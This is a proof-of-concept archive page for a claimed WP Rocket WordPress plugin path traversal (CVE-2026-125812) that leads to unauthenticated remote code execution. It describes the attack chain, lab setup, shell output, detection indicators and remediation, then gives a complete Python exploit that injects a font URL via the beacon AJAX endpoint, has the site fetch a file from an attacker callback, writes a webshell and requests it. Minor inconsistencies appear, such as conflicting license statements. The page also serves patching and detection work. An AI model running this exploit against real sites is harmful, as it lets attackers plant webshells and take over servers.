PoC Archive PoC Archive
CVE-2026-125812 category: web CVSS 9.8 (CRITICAL)
Unverified

WP Rocket Font Optimization Path Traversal to RCE (CVE-2026-125812)

Published: 2026-11-27 • Researcher: Joshua van der Poll (PoC); Patchstack (advisory)

Target software WP Rocket WordPress plugin (font optimization / lazy CSS pipeline)
Affected versions WP Rocket before 3.24.2
Status Weaponized (lab-validated)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-125812
Category
web
Affected product
WP Rocket WordPress plugin (font optimization / lazy CSS pipeline)
Affected versions
WP Rocket before 3.24.2
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-11-26
Author / ResearcherJoshua van der Poll (PoC); Patchstack (advisory)
CVE / AdvisoryCVE-2026-125812
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1)
StatusWeaponized (lab-validated)
Tagspath-traversal, WP Rocket, WordPress, unauthenticated, file-write, RCE, CWE-22
RelatedN/A

Affected Target

FieldValue
Software / SystemWP Rocket WordPress plugin (font optimization / lazy CSS pipeline)
Versions AffectedWP Rocket before 3.24.2
Language / PlatformPHP / WordPress; Python 3 exploit client
Authentication RequiredNo
Network Access RequiredYes (target HTTP and attacker callback reachable by the target)

Summary

CVE-2026-125812 is an unauthenticated path traversal in WP Rocket’s font optimization pipeline. The exploit harvests the public beacon nonce from any page, posts a crafted preload fonts parameter to the unauthenticated rocket beacon AJAX endpoint, and causes WP Rocket to fetch a CSS file from an attacker-controlled callback. A font URL rule inside that CSS contains a traversal path under the fonts cache directory; WP Rocket writes the fetched font content to that resolved path, allowing an arbitrary file write into the WordPress webroot. Writing a PHP file turns the primitive into remote code execution.

Vulnerability Details

Root Cause

The font optimization code builds the destination path from the URL path without confining it to the fonts cache directory. The attacker-supplied font URL can embed //fonts.googleapis.com/css to satisfy the Google-font check, while its url() points at a traversal such as ../../wp-content/uploads/shell.php. FilesystemCache::set() then writes the response body to the traversed path.

Attack Vector

  1. GET any public page and extract rocket_beacon_data (the anonymous nonce is identical for all visitors).
  2. POST to wp_ajax_nopriv_rocket_beacon with action=rocket_beacon and a preload_fonts URL that embeds //fonts.googleapis.com/css.
  3. On the next page visit, WP Rocket fetches the CSS from the attacker callback, parses the url(), downloads the “font”, and writes it to the traversal path.
  4. Request the written PHP file to execute commands.

Impact

Unauthenticated arbitrary file write under the WordPress webroot, leading to remote code execution as the web server user. The write can overwrite files or drop a webshell; the PoC ships a callback server that delivers the CSS and the shell payload.

Environment / Lab Setup

Output
OS:          Linux with Docker and Docker Compose
Target:      WordPress 6.6 + PHP 8.1 + WP Rocket 3.24.1 (vulnerable) on localhost:8080
Callback:    Attacker HTTP server (Python) serving CSS + shell payload
Attacker:    Python 3 with requests
Tools:       docker compose, python3

Setup Steps

Shell script
1
2
3
4
5
cd docker/
docker compose down -v --remove-orphans
docker compose up -d --build

python3 CVE-2026-125812.py http://localhost:8080 https://your-callback.example

The repository’s docker/ lab includes a three-container setup (MariaDB, WordPress + WP Rocket 3.24.1, attacker callback). The WP Rocket plugin ZIP is not vendored in this archive; fetch it from the upstream repository or WordPress.org for lab use.

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the target and extract the WP Rocket beacon nonce from a public page.
  2. Inject the crafted preload_fonts URL through wp_ajax_nopriv_rocket_beacon.
  3. Serve the malicious CSS from the callback: it includes a url() with a traversal path ending in a PHP file under the webroot.
  4. Trigger a page visit so WP Rocket processes the font and writes the payload.
  5. Execute the written PHP file, e.g. /wp-content/uploads/shell.php?cmd=id.

Exploit Code

See CVE-2026-125812.py, the minimal CVE-2026-125812.min.py, and the server/ + docker/ callback/lab files.

The exploit is a two-request chain plus a callback; the full script adds fingerprinting, target lists and a minimal PoC variant.

Expected Output

Output
1
2
3
4
5
6
[*] target: http://localhost:8080
[+] WP Rocket beacon nonce found
[+] preload_fonts injected
[*] waiting for WP Rocket font pipeline
[+] wrote /wp-content/uploads/shell.php
[+] command output: uid=33(www-data) gid=33(www-data)

Detection & Indicators of Compromise

  • preload_fonts values containing //fonts.googleapis.com/css combined with traversal sequences.
  • Requests to wp-admin/admin-ajax.php with action=rocket_beacon from unauthenticated clients carrying unusual font URLs.
  • New PHP files under wp-content/uploads/ or the fonts cache directory.
  • Outbound requests from the WordPress host to an unexpected callback domain during font optimization.
  • WP Rocket version below 3.24.2.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"WP Rocket CVE-2026-125812 font traversal"; \
  content:"action=rocket_beacon"; http_client_body; \
  content:"preload_fonts"; http_client_body; \
  pcre:"/preload_fonts[^&]*(\.\.%2f|\.\.\/)/i"; sid:9002632;)

Remediation

ActionDetail
PatchUpgrade WP Rocket to 3.24.2 or later.
WorkaroundDisable WP Rocket font optimization / lazy CSS until patched; block unauthenticated rocket_beacon font injection at the WAF.
Config HardeningRestrict outbound HTTP from WordPress, monitor webroot writes, and keep the plugin current.

References

Notes

Reviewed from the 2026-11-27 watchlist. The repository is a real exploit with a three-container lab and a callback server, not a detector or scanner; it is GPL-3.0 licensed (LICENSE.md retained). The WP Rocket plugin ZIP and demo images are not copied into this archive (binary/media assets); the callback server, Docker lab files and exploit clients are included.

The exploit was not executed during preparation. The lab is loopback/local and the PoC is for authorized testing only.

CVE-2026-125812.min.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/joshuavanderpoll/CVE-2026-125812 (MIT)
# CVE-2026-125812 - WP Rocket < 3.24.2 Unauthenticated RCE
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)

import json
import re
import sys
import time

import requests

PROBE_PATHS = ["/", "/sample-page/", "/?p=2", "/?p=1"]


def harvest_nonce(target):
    for path in PROBE_PATHS:
        url = target.rstrip("/") + path
        try:
            r = requests.get(url, timeout=10)
        except requests.RequestException:
            continue
        m = re.search(r'"nonce"\s*:\s*"([a-f0-9]+)"', r.text)
        if m:
            return m.group(1), url
    return None, None


def main():
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <callback_url>")
        sys.exit(1)

    target = sys.argv[1]
    callback = sys.argv[2].rstrip("/")
    shell_url = target.rstrip("/") + "/wp-content/uploads/shell.php"
    beacon_font = f"{callback}//fonts.googleapis.com/css2/x.woff2"

    nonce, page_url = harvest_nonce(target)
    if not nonce:
        print("[-] Beacon nonce not found")
        sys.exit(1)
    print(f"[+] Nonce: {nonce}")

    r = requests.post(
        target.rstrip("/") + "/wp-admin/admin-ajax.php",
        data={
            "action": "rocket_beacon",
            "rocket_beacon_nonce": nonce,
            "url": page_url,
            "is_mobile": "false",
            "status": "success",
            "results": json.dumps({"preload_fonts": [beacon_font]}),
        },
        timeout=10,
    )
    if r.status_code != 200 or not r.json().get("success"):
        print("[-] Beacon rejected")
        sys.exit(1)
    print("[+] Beacon accepted")

    time.sleep(1)
    requests.get(page_url, timeout=30)
    time.sleep(2)

    r = requests.get(shell_url, timeout=10)
    if r.status_code == 200 and r.text.strip():
        print(f"[+] Shell written: {shell_url}")
        print(r.text.strip())
    else:
        print(f"[-] Shell not found ({r.status_code})")


if __name__ == "__main__":
    main()